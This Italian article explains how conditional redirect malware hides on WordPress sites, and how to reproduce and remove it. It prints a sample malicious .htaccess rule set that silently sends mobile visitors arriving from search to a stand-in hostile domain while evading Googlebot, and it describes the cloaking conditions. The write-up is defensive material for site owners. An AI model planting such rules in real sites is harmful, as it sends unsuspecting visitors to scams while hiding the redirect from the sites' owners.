«Da me il sito funziona.» È la frase che si sente più spesso quando un sito è infettato da un redirect condizionale. I visitatori finiscono su pagine di truffe, lotterie o farmaci, ma il titolare, l’agenzia e perfino alcuni scanner non vedono niente. Non è un caso: questi redirect sono costruiti proprio per non farsi vedere da chi gestisce il sito.
Le condizioni tipiche
Un redirect condizionale si attiva solo quando la richiesta soddisfa certi criteri, scelti per colpire i visitatori veri ed evitare tutti gli altri:
- il visitatore arriva da un motore di ricerca o da un social, verificato con l’intestazione
Referer; - usa uno smartphone, riconosciuto dallo user agent;
- non è collegato a WordPress, quindi non è un amministratore o un redattore;
- non è un crawler come Googlebot, per non farsi notare dal motore di ricerca;
- non è già stato reindirizzato, grazie a un cookie che dura giorni o settimane.
Chi apre il sito digitando l’indirizzo dal computer dell’ufficio, collegato come amministratore, non soddisfa nessuna di queste condizioni.
Nel file .htaccess
Su Apache e LiteSpeed il redirect può stare interamente in un file .htaccess, senza nessun codice PHP:
RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|bing|yahoo|facebook)\. [NC]
RewriteCond %{HTTP_USER_AGENT} (android|iphone|mobile) [NC]
RewriteCond %{HTTP_USER_AGENT} !(googlebot|bingbot) [NC]
RewriteRule ^(.*)$ https://esempio-malevolo.invalid/?s=%{HTTP_HOST} [R=302,L]Le regole vengono spesso aggiunte in cima al file, prima di quelle di WordPress, o precedute da molte righe vuote. E non solo nella cartella principale: ogni sottocartella può avere il proprio .htaccess, e vanno controllati tutti con find . -name .htaccess.
Nel codice PHP e nel database
Le varianti in PHP sono più flessibili: possono controllare se l’utente è collegato, usare un elenco di indirizzi IP da escludere e cambiare destinazione nel tempo. Si trovano in fondo al functions.php del tema, in un plugin modificato, in un plugin must-use o in un JavaScript iniettato nel database, che esegue il redirect nel browser dopo aver controllato le stesse condizioni.
Come riprodurlo
Per vedere il redirect bisogna presentarsi al sito come la vittima designata. Con curl si possono simulare user agent e provenienza, senza cookie e senza sessione:
curl -sI \
-A "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 Mobile Safari/537.36" \
-e "https://www.google.com/" \
https://www.esempio.it/articolo/Una risposta 301 o 302 verso un dominio estraneo conferma il redirect lato server. Se la risposta è normale, il redirect può essere in JavaScript: in quel caso serve un browser in navigazione privata, con l’emulazione di un dispositivo mobile, arrivando da una ricerca su Google. Anche così, un cookie o un filtro sugli indirizzi IP possono nasconderlo: per questo, quando i lettori segnalano un problema che non si riesce a riprodurre, la segnalazione va presa sul serio.
La pulizia
Rimuovere le regole visibili non basta se il meccanismo che le ha scritte è ancora attivo. Oltre ai file .htaccess e al codice PHP vanno controllati il database, le attività pianificate e i file che si ricreano. Nel nostro caso di studio sul portale editoriale il redirect era salvato in un’opzione del database e reinserito da trigger SQL: un esempio di quanto in profondità possa nascondersi.
